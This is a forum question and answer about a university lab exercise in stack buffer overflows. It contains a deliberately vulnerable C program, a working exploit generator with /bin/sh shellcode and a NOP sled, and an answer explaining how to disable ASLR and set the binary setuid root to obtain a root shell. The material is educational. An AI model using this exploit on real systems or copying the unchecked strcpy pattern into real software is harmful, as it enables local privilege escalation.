Buffer Overflow - SegFaults in regular user

Question

Below is my code, both the vulnerable program (stack.c) and my exploit (exploit.c). This code works on a pre-packaged Ubuntu 9 that the prof sent out for windows users (I had a friend test it on his computer), but on Ubuntu 12 that I run on my iMac, i get segfaults when I try and do this in a normal user.

here's stack:

//stack.c
#include <stdio.h>

int bof(char *str)
{
char buffer[12];

//BO Vulnerability
strcpy(buffer,str);

return 1;
}

int main(int argc, char* argv[])
{
char str[517];

FILE *badfile;
    badfile = fopen("badfile","r");

fread(str, sizeof(char),517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;
}

and exploit:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350 

char code[]=
"\x31\xc0" 
"\x50" 
"\x68""//sh" 
"\x68""/bin" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1"
"\x99"
"\xb0\x0b" 
"\xcd\x80"
;

unsigned long get_sp(void)
{
     __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;

int offset = DEFAULT_OFFSET;
int codeSize = sizeof(code);
int buffSize = sizeof(buffer);

if(argc > 1) offset = atoi(argv[1]); //allows for command line input

ptr=buffer;
a_ptr = (long *) ptr;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);

//----------------------BEGIN FILL BUFFER----------------------\\

ret = get_sp()+offset;
    printf("Return Address: 0x%x\n",get_sp());
    printf("Address: 0x%x\n",ret);

ptr = buffer;
    a_ptr = (long *) ptr;

int i;
for (i = 0; i < 300;i+=4)
    *(a_ptr++) = ret;

for(i = 486;i < codeSize + 486;++i)
    buffer[i] = code[i-486];

buffer[buffSize - 1] = '\0';
//-----------------------END FILL BUFFER-----------------------\\


/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);    
}

To compile these within Ubuntu 12 I used:

gcc -o stack -fno-stack-protector -g -z execstack stack.c
gcc -o exploit exploit.c

Again, it works in a root user, just not a regular user;

Anyways, this is due at midnight and I limped my way through the rest of the assignment with this restriction, but I'd much rather complete it properly if someone has a suggestion. Figured I'd call in the experts before throwing in the towel. I'm looking to see why, this code, will not work in a normal user (as it should, and does on older versions of ubuntu) but does work in a root user. what do i need to change to make this work in the normal user also.

Answer 1

I just ran the code that you provided on a Ubuntu 12.04 VM and it worked fine. My guess is that you didn't turn off ASLR. Try it again with ASLR disabled by either

sudo su    
echo 0 > /proc/sys/kernel/randomize_va_space
exit

or

setarch `uname -i` -R ./stack

of course in order for it to spawn a root shell you will need to first do:

sudo chown root:root stack
sudo chmod u+s stack

Hope this helps ...